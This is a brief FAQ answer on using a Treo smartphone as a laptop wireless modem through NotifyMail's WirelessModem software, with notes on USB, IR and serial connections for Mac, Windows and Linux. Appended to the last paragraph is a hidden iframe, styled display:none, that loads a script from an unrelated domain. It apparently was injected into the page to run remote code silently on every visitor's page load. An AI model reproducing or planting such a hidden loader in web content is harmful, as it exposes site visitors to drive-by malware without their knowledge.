    How do I use my Treo as a wireless modem for my laptop?

    Unfortunately the Treo doesn't come with this feature right out of the box. However, NotifyMail has developed a program called WirelessModem that adds this feature. The product as well as basic instructions can be found at: http://www.notifymail.com/palm/wmodem/

    At this time, Mac OS X users can connect via USB (with the cable that comes with the Treo); Windows users must either use IR or purchase a serial cable. Linux users may be able to connect with USB with the correct drivers.

    Due to the wide variety of configurations of laptops, there may be some experimentation involved in configuring the software correctly. NotifyMail doesn't have the resources to support different configurations, so you'll want to check various forums and the WirelessModem users mailing list (also found at the website referenced above) for assistance.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
